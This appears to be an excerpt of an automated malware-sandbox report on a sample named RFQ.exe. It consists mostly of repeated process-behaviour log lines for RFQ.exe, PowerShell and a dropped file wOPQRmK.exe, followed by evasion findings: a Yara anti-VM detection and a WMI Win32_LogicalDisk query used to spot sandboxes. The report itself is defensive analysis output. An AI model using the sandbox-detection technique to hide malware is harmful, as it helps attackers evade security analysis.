Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match	File source: Process Memory Space: RFQ.exe PID: 7040, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: wOPQRmK.exe PID: 6208, type: MEMORYSTR

Queries sensitive service information (via WMI, Win32_LogicalDisk, often done to detect sandboxes)

Source: C:\Users\user\Desktop\RFQ.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_LogicalDisk
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_LogicalDisk

